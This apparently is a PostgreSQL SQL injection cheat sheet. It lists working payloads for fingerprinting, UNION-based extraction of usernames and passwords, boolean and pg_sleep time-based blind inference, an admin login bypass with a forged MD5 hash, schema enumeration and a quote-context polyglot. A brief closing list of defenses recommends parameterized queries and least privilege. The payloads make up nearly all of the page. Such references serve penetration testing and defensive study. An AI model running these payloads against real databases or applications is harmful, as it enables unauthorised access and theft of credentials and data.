PostgreSQL SQL Injection Payloads

These PostgreSQL SQL injection payloads span detection, fingerprinting, UNION, error-based casting to numeric, boolean and time-based blind inference with pg_sleep, and schema enumeration via information_schema.

Focused page: PostgreSQL Boolean-Based Blind SQL Injection Payloads.

Detection — Find and confirm the injection point (5)

Fingerprint — Identify the database engine (3)

pg_client_encoding

DBMS identification

' AND pg_client_encoding()=pg_client_encoding()-- 

Keyword-based DBMS fingerprint (PAT table).

PayloadsAllTheThings reference

current_database

DBMS identification

' AND current_database()=current_database()-- 

Keyword-based DBMS fingerprint (PAT table).

PayloadsAllTheThings reference

Exploitation — Extract data or demonstrate impact (16)

UNION SELECT exfil

UNION-based

' UNION SELECT username, password FROM users LIMIT 1-- 

Column count must match original query. Reflect column 1 in the app response.

PayloadsAllTheThings reference

Target char (ASCII)

Boolean blind

' AND ASCII(SUBSTRING(version() FROM 1 FOR 1))=104-- 

Binary search ASCII at position 1 (configured: 104).

PayloadsAllTheThings reference

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(version() FROM 1 FOR 1))='5' THEN (pg_sleep(5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

UNION with MD5 hash

Authentication bypass

'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- 

UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).

PayloadsAllTheThings reference

Enumeration — Discover schema, tables, and sensitive data (3)

List tables

Enumeration

' UNION SELECT table_name,NULL FROM information_schema.tables LIMIT 1-- 

Set database name to filter schema.

PayloadsAllTheThings reference

Bypass & misc — WAF evasion and cross-context payloads (6)

SLEEP polyglot

Polyglot

'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/-- 

Works across quote contexts (PAT polyglot).

PayloadsAllTheThings reference

Defense

  • Parameterized queries / prepared statements are the primary fix for every technique on this page.
  • Run the application's database account with least privilege — no DBA, no file or command access.
  • Suppress verbose database errors and validate input types at the edge.